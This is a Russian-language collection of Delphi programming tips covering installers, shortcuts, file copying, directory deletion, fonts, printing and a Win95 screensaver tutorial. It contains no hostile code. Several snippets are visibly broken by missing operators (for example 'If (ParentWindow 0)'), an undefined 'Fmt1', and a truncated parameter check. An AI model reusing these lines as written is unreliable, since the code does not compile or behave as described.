«Виртуальная библиотека Delphi»

Виртуальная библиотека Delphi (fb2) - Виртуальная библиотека Delphi 1032K скачать: (fb2) - (epub) - (mobi) - Коллектив авторов

Статьи

Советы по Delphi

Советы по работе с системой

Советы для написания программ-инсталляторов

Регистрация программ в меню "Пуск" Windows 95

Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь — использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов — объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:

Function TForm2.ProgmanCommand(Command:string):boolean;

 var macrocmd:array[0..88] of char;

begin

 DDEClient.SetLink('PROGMAN','PROGMAN');

 DDEClient.OpenLink; { Устанавливаем связь по DDE }

 strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }

 ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);

 DDEClient.CloseLink; { Закрываем связь по DDE }

end;

При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:

Create(Имя группы, путь к GRP файлу)

Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.

Delete(Имя группы)

Удалить группу с именем "Имя группы"

ShowGroup(Имя группы, состояние)

Показать группу в окне, причем состояние — число, определяющее параметры окна:

1 — нормальное состояние + активация

2 — миним.+ активация

3 — макс. + активация

4 — нормальное состояние

5 — Активация

AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)

Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos — координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize — тип запуска, 0 — в обычном окне, <>0 — в минимизированном.

DeleteItem(имя раздела)

Удалить раздел с указанным именем в активной группе

Пример использования:

ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');

ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');

где path — строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');

Как программно создать ярлык?

uses ShlObj, ComObj, ActiveX;

procedure CreateLink(const PathObj, PathLink, Desc, Param: string);

var

 IObject: IUnknown;

 SLink: IShellLink;

 PFile: IPersistFile;

begin

 IObject := CreateComObject(CLSID_ShellLink);

 SLink := IObject as IShellLink;

 PFile := IObject as IPersistFile;

 with SLink do begin

  SetArguments(PChar(Param));

  SetDescription(PChar(Desc));

  SetPath(PChar(PathObj));

 end;

 PFile.Save(PWChar(WideString(PathLink)), FALSE);

end;

Затенить кнопку «Закрыть» в заголовке формы

Следующий текст убирает команду «закрыть» из системного меню и одновременно делает серой кнопку «закрыть» в заголовке формы: 

procedure TForm1.FormCreate(Sender: TObject);

var hMenuHandle:HMENU;

begin

 hMenuHandle := GetSystemMenu(Handle, FALSE);

 IF (hMenuHandle <> 0) THEN DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);

end;

Копирование файлов

Копирование методом TurboPascal

Type

 TCallBack=procedure(Position,Size:Longint); {Для индикации процесса копирования}

procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);

Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }

Type

 PBuffer = ^TBuffer;

 TBuffer = array [1..BufSize] of Byte;

var

 Size : integer;

 Buffer : PBuffer;

 infile, outfile : File;

 SizeDone,SizeFile: Longint;

begin

 if (InFileName <> OutFileName) then begin

  buffer := Nil;

  AssignFile(infile, InFileName);

  System.Reset(infile, 1);

  try

   SizeFile := FileSize(infile);

   AssignFile(outfile, OutFileName);

   System.Rewrite(outfile, 1);

   try

    SizeDone := 0; New(Buffer);

    repeat

     BlockRead(infile, Buffer^, BufSize, Size);

     Inc(SizeDone, Size);

     CallBack(SizeDone, SizeFile);

     BlockWrite(outfile,Buffer^, Size)

    until Size < BufSize;

    FileSetDate(TFileRec(outfile).Handle,

    FileGetDate(TFileRec(infile).Handle));

   finally

    if Buffer <> Nil then Dispose(Buffer);

    System.close(outfile)

   end;

  finally

   System.close(infile);

  end;

 end else Raise EInOutError.Create('File cannot be copied into itself');

end;

Копирование методом потока

Procedure FileCopy(Const SourceFileName, TargetFileName: String);

Var

 S,T : TFileStream;

Begin

 S := TFileStream.Create(sourcefilename, fmOpenRead );

 try

  T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);

  try

   T.CopyFrom(S, S.Size ) ;

   FileSetDate(T.Handle, FileGetDate(S.Handle));

  finally

   T.Free;

  end;

 finally

  S.Free;

 end;

end;

Копирование методом LZExpand

uses LZExpand;

procedure CopyFile(FromFileName, ToFileName : string);

var

 FromFile, ToFile: File;

begin

 AssignFile(FromFile, FromFileName);

 AssignFile(ToFile, ToFileName);

 Reset(FromFile);

 try

  Rewrite(ToFile);

  try

   if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise Exception.Create('Error using LZCopy')

  finally

   CloseFile(ToFile);

  end;

 finally

  CloseFile(FromFile);

 end;

end;

Копирование методами Windows

uses ShellApi; // !!! важно

function WindowsCopyFile(FromFile, ToDir : string) : boolean;

 var F : TShFileOpStruct;

begin

 F.Wnd := 0; F.wFunc := FO_COPY;

 FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);

 ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);

 F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

 result:=ShFileOperation(F) = 0;

end;

// пример копирования

procedure TForm1.Button1Click(Sender: TObject);

begin

 if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then ShowMessage('Copy Failed');

end;

Как скопировать все файлы вместе с подкаталогами

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

var

 OpStruc: TSHFileOpStruct;

 frombuf, tobuf: Array [0..128] of Char;

Begin

 FillChar( frombuf, Sizeof(frombuf), 0 );

 FillChar( tobuf, Sizeof(tobuf), 0 );

 StrPCopy( frombuf, 'h:\hook\*.*' );

 StrPCopy( tobuf, 'd:\temp\brief' );

 With OpStruc DO Begin

  Wnd:= Handle;

  wFunc:= FO_COPY;

  pFrom:= @frombuf;

  pTo:=@tobuf;

  fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;

  fAnyOperationsAborted:= False;

  hNameMappings:= Nil;

  lpszProgressTitle:= Nil;

 end;

 ShFileOperation( OpStruc );

end;

Удаление каталога со всем содержимым

{ Удалить каталог со всем содержимым }

function DeleteDir(Dir : string) : boolean;

Var

 Found : integer;

 SearchRec : TSearchRec;

begin

 result:=false;

 if IOResult<>0 then ;

 ChDir(Dir);

 if IOResult<>0 then begin

  ShowMessage('Не могу войти в каталог: '+Dir); exit;

 end;

 Found := FindFirst('*.*', faAnyFile, SearchRec);

 while Found = 0 do begin

  if (SearchRec.Name<>'.')and(SearchRec.Name<>'..') then

   if (SearchRec.Attr and faDirectory)<>0 then begin

    if not DeleteDir(SearchRec.Name) then exit;

   end else

    if not DeleteFile(SearchRec.Name) then begin

     ShowMessage('Не могу удалить файл: '+SearchRec.Name); exit;

    end;

  Found := FindNext(SearchRec);

 end;

 FindClose(SearchRec);

 ChDir('..'); RmDir(Dir);

 result:=IOResult=0;

end;

Определение системной информации

Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi — программа COA):

Procedure GetInfo;

Var

 WinVer, WinFlags : LongInt; { Версия Windows и флаги }

 hInstUser, Fmt : Word; { Дескриптор }

 Buffer : ARRAY[0..30] OF Char; { Буфер под ASCIIZ строку }

begin

 hInstUser := LoadLibrary('USER'); { Открыли библиотеку User }

 LoadString(hInstUser, 514, Buffer, 30);

 LabelUserName.Caption := StrPas(Buffer); { Имя пользователя }

 LoadString(hInstUser, 515, Buffer, 30);

 FreeLibrary(hInstUser);

 LabelCompName.Caption := StrPas(Buffer); { Компания }

 WinVer := GetVersion;

 LabelWinVer.Caption := Format('Windows %u.%.2u', { Версия Windows }

  [LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);

 LabelDosVer.Caption := Format('DOS %u.%.2u', { Версия DOS }

  [HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);

 WinFlags := GetWinFlags;

 IF WinFlags AND WF_ENHANCED > 0 THEN LabelWinMode.Caption := '386 Enhanced Mode' { Режим }

 ELSE IF WinFlags AND WF_PMODE > 0 THEN LabelWinMode.Caption := 'Standard Mode'

 ELSE LabelWinMode.Caption := 'Real Mode';

 IF WinFlags AND WF_80x87 > 0 THEN { Сопроцессор }

  ValueMathCo.Caption := 'Present'

 ELSE ValueMathCo.Caption := 'Absent';

 Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);

 ValueFSRs.Caption := Format('%d%% Free', [Fmt1]); { Свободно ресурсов }

 { Свободно памяти}

 ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV 1024) + ' KB Free';

end;

Как проинсталлировать свои шрифты?

Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:

{$IFDEF WIN32}

AddFontResource( PChar( my_font_PathName { AnsiString } ) );

{$ELSE}

var ss: array [ 0..255 ] of Char;

AddFontResource(StrPCopy(ss, my_font_PathName));

{$ENDIF}

SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);

Убрать его по окончании работы:

{$IFDEF WIN32}

RemoveFontResource ( PChar(my_font_PathName) );

{$ELSE}

RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));

{$ENDIF}

SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );

При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) — содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял.

Вставить какую-нибудь программу внутрь EXE файла

1. Пишем в блокноте RC-файл, куда прописываем все нужные нам программы, например:

ARJ EXEFILE C:\UTIL\ARJ.EXE

2. Компилируем его в ресурс при помощи Brcc32.exe. Получаем RES-файл.

3. Далее в тексте нашей программы:

implementation

{$R *.DFM}

{$R test.res} //Это наш RES-файл

procedure ExtractRes(ResType, ResName, ResNewName : String);

var

 Res : TResourceStream;

begin

 Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));

 Res.SavetoFile(ResNewName);

 Res.Free;

end;

procedure TForm1.BitBtn1Click(Sender: TObject);

 begin

 // Записывает в текущую папку arj.exe

 ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');

end;

Как написать маленький инсталлятор?

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.

Пример:

Application.Initialize;

if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE'  then Application.CreateForm(TSetupForm, SetupForm) // форма инсталлятора

else Application.CreateForm(TMainForm, MainForm); // форма основной программы

Application.Run;

Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!

С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32×32 и 16×16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16×16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?

1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается 

2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!) 

Работа с принтером.

Delphi имеет стандартный объект для доступа к принтеру — TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" — не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers:

PROPERTY

Aborted:boolean — Показывает, что процесс печати прерван

Canvas:Tcanvas — Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст… Тут есть несколько особенностей, они описаны после описания объекта.

Fonts:Tstrings — Возвращает список шрифтов, поддерживаемых принтером

Handle:HDS — Получить Handle на принтер для использования функций API (см. Далее)

Orientation:TprinterOrientation — Ориентация листа при печати : (poPortrait, poLandscape)

PageHeight:integer — Высота листа в пикселах

PageNumber:integer — Номер страницы, увеличивается на 1 при каждом NewPage

PageWidth:integer — Ширина листа в пикселах

PrinterIndex:integer — Номер используемого принтера по списку доступных принтеров Printers

Printers:Tstrings — Список доступных принтеров

Printing:boolean — Флаг, показывающий, что сейчас идет процесс печати

Title:string — Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати

METODS

AssignPrn(f:TextFile) — Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.

Abort — Сбросить печать

BeginDoc — Начать печать

NewPage — Начать новую страницу

EndDoc — Завершить печать.

Пример :

Procedure TForm1.Button1Click(Sender: TObject);

Begin

 With Printer do Begin

  BeginDoc; { Начало печати }

  Canvas.Font:=label1.font; { Задали шрифт }

  Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }

  EndDoc; { Конец печати }

 end;

end;

Особенности работы с TPrinter

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново

2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и, главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".

3. У TPrinter информация о принтере, по видимому, определяются один раз — в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.

Определение параметров принтера через API

Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter — Printer.Handle. Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;

Index – код параметра, который необходимо вернуть. Для Index существует ряд констант:

DriverVersion — вернуть версию драйвера

Texnology — Технология вывода, их много, основные

 dt_Plotter — плоттер

 dt_RasPrinter — растровый принтер

 dt_Display — дисплей

HorzSize — Горизонтальный размер листа (в мм)

VertSize — Вертикальный размер листа (в мм)

HorzRes — Горизонтальный размер листа (в пикселах)

VertRes — Вертикальный размер листа (в пикселах)

LogPixelX — Разрешение по оси Х в dpi (пиксел /дюйм)

LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)

Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.

Параметры, возвращаемые по LogPixelX и LogPixelY очень важны — они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }

begin

 PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);

 PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);

end;

Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }

begin

 PrinterCoordX:=round(PixelsX/25.4*x);

end;

Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }

begin

 PrinterCoordY:=round(PixelsY/25.4*Y);

end;

---------------------------------

GetPrinterInfo;

Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),

 'Этот текст печатается с отступом 30 мм от левого края и '+

 '55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок — зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) — микроскопической.

Система

Хранитель экрана

1. В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...).

2. У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize.

3. Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши.

4. Проверить параметры с которым был вызван хранитель и если это /c — показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p — для отображения в окне установок хранителя экрана.

5. Скомпилировать хранитель экрана.

6. Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\.

7. Установить новый хранитель в настройках системы!

Название хранителя может состоять из нескольких слов с пробелами, на любом языке.

При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода.

Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую.

Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!

{в файле *.DPR}

{$D SCRNSAVE Пример хранителя экрана}

{проверить переданные параметры}

IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN

 {скрыть курсор мыши}

 ShowCursor(False);

{восстановить курсор мыши}

ShowCursor(True);

Более подробно о создании хранителя экрана "по всем правилам"

Screen Saver in Win95

Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!!

Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:

Procedure RunScreenSaver;

Var S : String;

Begin

 S := ParamStr(1);

 If (Length(S) > 1) Then Begin

  Delete(S,1,1); { delete first char - usally "/" or "-" }

  S[1] := UpCase(S[1]);

 End;

 LoadSettings; { load settings from registry }

 If (S = 'C') Then RunSettings

 Else If (S = 'P') Then RunPreview

 Else If (S = 'A') Then RunSetPassword

 Else RunFullScreen;

End;

Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер.

Процедура для запуска хранителя на полном экране — приблизительно такова:

Procedure RunFullScreen;

Var

 R : TRect;

 Msg : TMsg;

 Dummy : Integer;

 Foreground : hWnd;

Begin

 IsPreview := False; MoveCounter := 3;

 Foreground := GetForegroundWindow;

 While (ShowCursor(False) > 0) do ;

 GetWindowRect(GetDesktopWindow,R);

 CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0);

 CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);

 SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0);

 While GetMessage(Msg,0,0,0) do Begin

  TranslateMessage(Msg);

  DispatchMessage(Msg);

 End;

 SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0);

 ShowCursor(True);

 SetForegroundWindow(Foreground);

End;

Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это — хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:

Function CreateScreenSaverWindow(Width,Height : Integer;  ParentWindow : hWnd) : hWnd;

Var WC : TWndClass;

Begin

 With WC do Begin

  Style := cs_ParentDC;

  lpfnWndProc := @PreviewWndProc;

  cbClsExtra := 0; cbWndExtra := 0; hIcon := 0; hCursor := 0;

  hbrBackground := 0; lpszMenuName := nil;

  lpszClassName := 'MyDelphiScreenSaverClass';

  hInstance := System.hInstance;

 end;

 RegisterClass(WC);

 If (ParentWindow 0) Then

  Result := CreateWindow('MyDelphiScreenSaverClass','MySaver', 

   ws_Child Or ws_Visible or ws_Disabled,0,0,

   Width,Height,ParentWindow,0,hInstance,nil)

 Else Begin

  Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',

   ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil);

   SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize or swp_NoRedraw);

 End;

 PreviewWindow := Result;

End;

Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения.

Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:

Procedure RunPreview;

Var

 R : TRect;

 PreviewWindow : hWnd;

 Msg : TMsg;

 Dummy : Integer;

Begin

 IsPreview := True;

 PreviewWindow := StrToInt(ParamStr(2));

 GetWindowRect(PreviewWindow,R);

 CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,PreviewWindow);

 CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);

 While GetMessage(Msg,0,0,0) do Begin

  TranslateMessage(Msg); DispatchMessage(Msg);

 End;

End;

Как Вы видите, window handle является вторым параметром (после "-p").

Чтобы "выполнять" хранителя экрана — нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:

Function PreviewThreadProc(Data : Integer) : Integer; StdCall;

Var R : TRect;

Begin

 Result := 0; Randomize;

 GetWindowRect(PreviewWindow,R);

 MaxX := R.Right-R.Left; MaxY := R.Bottom-R.Top;

 ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow);

 Repeat

  InvalidateRect(PreviewWindow,nil,False);

  Sleep(30);

 Until QuitSaver;

 PostMessage(PreviewWindow,wm_Destroy,0,0);

End;

Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:

Function PreviewWndProc(Window : hWnd; Msg,WParam, LParam : Integer): Integer; StdCall;

Begin

 Result := 0;

 Case Msg of

  wm_NCCreate : Result := 1;

  wm_Destroy : PostQuitMessage(0);

  wm_Paint : DrawSingleBox; { paint something }

  wm_KeyDown : QuitSaver := AskPassword;

  wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove :

  Begin

   If (Not IsPreview) Then Begin

    Dec(MoveCounter);

    If (MoveCounter <= 0) Then QuitSaver := AskPassword;

   End;

  End;

  Else Result := DefWindowProc(Window,Msg,WParam,LParam);

 End;

End;

Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:

Function AskPassword : Boolean;

Var

 Key : hKey;

 D1,D2 : Integer; { two dummies }

 Value : Integer;

 Lib : THandle;

 F : TVSSPFunc;

Begin

 Result := True;

 If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0,

  Key_Read,Key) = Error_Success) Then Begin

  D2 := SizeOf(Value);

  If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1, @Value,@D2) = Error_Success) Then Begin

   If (Value 0) Then Begin

    Lib := LoadLibrary('PASSWORD.CPL');

    If (Lib > 32) Then Begin

     @F := GetProcAddress(Lib,'VerifyScreenSavePwd');

     ShowCursor(True);

     If (@F nil) Then Result := F(PreviewWindow);

     ShowCursor(False);

     MoveCounter := 3; { reset again if password was wrong }

     FreeLibrary(Lib);

    End;

   End;

  End;

  RegCloseKey(Key);

 End;

End;

Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции?

TVSSFunc ОПРЕДЕЛЕН как:

Type

 TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;

Теперь почти все готово, кроме диалога конфигурации. Это запросто:

Procedure RunSettings;

Var Result : Integer;

Begin

 Result := DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc);

 If (Result = idOK) Then SaveSettings;

End;

Трудная часть — это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:

SaverSettingsDlg DIALOG 70, 130, 166, 75

STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENU

CAPTION "Settings for Boxes"

FONT 8, "MS Sans Serif"

BEGIN

DEFPUSHBUTTON "OK", 5, 115, 6, 46, 16

PUSHBUTTON "Cancel", 6, 115, 28, 46, 16

CTEXT "Box &Color:", 3, 2, 30, 39, 9

COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS

CTEXT "Box &Type:", 1, 4, 3, 36, 9

COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS

LTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani Järvinen.", 7, 4, 57, 103, 16, WS_CHILD | WS_VISIBLE | WS_GROUP

END

Почти также легко сделать диалоговое меню:

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Var S : String;

Begin

 Result := 0;

 Case Msg of

  wm_InitDialog : Begin

   { initialize the dialog box }

   Result := 0;

  End;

  wm_Command : Begin

   If (LoWord(WParam) = 5) Then EndDialog(Window,idOK)

   Else If (LoWord(WParam) = 6) Then EndDialog(Window,idCancel);

  End;

  wm_Close : DestroyWindow(Window);

  wm_Destroy : PostQuitMessage(0);

  Else Result := 0;

 End;

End;

После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.

Procedure SaveSettings;

Var

 Key : hKey;

 Dummy : Integer;

Begin

 If (RegCreateKeyEx(hKey_Current_User,

  'Software\SilverStream\SSBoxes',

  0,nil,Reg_Option_Non_Volatile,

  Key_All_Access,nil,Key,

  @Dummy) = Error_Success) Then Begin

  RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary,

   @RoundedRectangles,SizeOf(Boolean));

  RegSetValueEx(Key,'SolidColors',0,Reg_Binary, @SolidColors,SizeOf(Boolean));

  RegCloseKey(Key);

 End;

End;

Загружаем параметры так:

Procedure LoadSettings;

Var

 Key : hKey;

 D1,D2 : Integer; { two dummies }

 Value : Boolean;

Begin

 If (RegOpenKeyEx(hKey_Current_User,

  'Software\SilverStream\SSBoxes',0,

  Key_Read, Key) = Error_Success) Then Begin

  D2 := SizeOf(Value);

  If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1, @Value, @D2) = Error_Success) Then Begin

   RoundedRectangles := Value;

  End;

  If (RegQueryValueEx(Key,'SolidColors',nil,@D1, @Value,@D2) = Error_Success) Then  Begin

   SolidColors := Value;

  End;

  RegCloseKey(Key);

 End;

End;

Легко? Нам также нужно позволить пользователю установить пароль. Я честно не знаю почему это оставлено разработчику приложений? Тем не менее:

Procedure RunSetPassword;

Var

 Lib : THandle;

 F : TPCPAFunc;

Begin

 Lib := LoadLibrary('MPR.DLL');

 If (Lib > 32) Then Begin

  @F := GetProcAddress(Lib,'PwdChangePasswordA');

  If (@F nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0);

  FreeLibrary(Lib);

 End;

End;

Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом.

TPCPAFund ОПРЕДЕЛЕН как:

Type

 TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) : Integer; StdCall;

(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, — самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.

Procedure DrawSingleBox;

Var

 PaintDC : hDC;

 Info : TPaintStruct;

 OldBrush : hBrush;

 X,Y : Integer;

 Color : LongInt;

Begin

 PaintDC := BeginPaint(PreviewWindow,Info);

 X := Random(MaxX); Y := Random(MaxY);

 If SolidColors Then

  Color := GetNearestColor(PaintDC,RGB(Random(255), Random(255),Random(255)))

 Else Color := RGB(Random(255),Random(255),Random(255));

 OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));

 If RoundedRectangles Then

  RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)

 Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));

 DeleteObject(SelectObject(PaintDC,OldBrush));

 EndPaint(PreviewWindow,Info);

End;

Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:

Var

 IsPreview : Boolean;

 MoveCounter : Integer;

 QuitSaver : Boolean;

 PreviewWindow : hWnd;

 MaxX,MaxY : Integer;

 RoundedRectangles : Boolean;

 SolidColors : Boolean;

Затем исходная программа проекта (.dpr). Красива, а!?

program MySaverIsGreat;

uses

 windows, messages, Utility; { defines all routines }

{$R SETTINGS.RES}

begin

 RunScreenSaver;

end.

Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу.

Конец.

Use Val... ;-)

перевод: Владимиров А.М.

